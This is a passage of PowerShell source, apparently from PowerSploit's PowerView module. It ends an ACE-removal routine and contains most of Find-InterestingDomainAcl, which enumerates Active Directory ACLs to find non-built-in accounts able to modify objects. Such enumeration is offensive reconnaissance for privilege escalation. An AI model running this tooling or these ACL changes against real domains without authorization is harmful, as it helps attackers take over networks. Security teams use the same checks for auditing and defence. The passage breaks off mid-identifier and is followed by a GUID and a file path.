ForEach ($PrincipalObject in $Principals) { Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) if ($GUIDs) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } # remove all the specified ACEs from the specified object directory entry ForEach ($ACE in $ACEs) { Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } } catch { Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" } } } } } function Find-InterestingDomainAcl { <# .SYNOPSIS Finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects. Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName .DESCRIPTION This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, and for each returned ACE entry it checks if principal security identifier is *-1000 (meaning the account is not built in), and also checks if the rights for the ACE mean the object can be modified by the principal. If these conditions are met, then the security identifier SID is translated, the domain object is retrieved, and additional IdentityReference* information is appended to the output object. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-InterestingDomainAcl Finds interesting object ACLS in the current domain. .EXAMPLE Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs Finds interesting object ACLS in the ev.testlab.local domain and resolves rights GUIDs to display names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DomainName', 'Name')] [String] $Domain, [Switch] $ResolveGUIDs, [String] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ACLArguments = @{} if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } $ObjectSearcherArguments = @{ 'Properties' = 'samaccountname,objectclass' 'Raw' = $True } if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } # ongoing list of built-up SIDs $ResolvedSIDs = @{} } PROCESS { if ($PSBoundParameters['Domain']) { $ACLArguments['Domain'] = $Domain $ADNameArguments['Domain'] = $Domain } Get-DomainObjectAcl @ACLArguments | ForEach-Object { if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { # only process SIDs > 1000 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } else { $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments # "IdentityReferenceDN: $IdentityReferenceDN" if ($IdentityReferenceDN) { $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # "IdentityReferenceDomain: $IdentityReferenceDomain" $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { $IdentityReferenceClass = 'computer' } elseif ($Object.Properties.objectclass -match 'group') { $IdentityReferenceClass = 'group' } elseif ($Object.Properties.objectclass -match 'user') { $IdentityReferenceClass = 'user' } else { $IdentityReferenceClass = $Null } # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.Securit38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1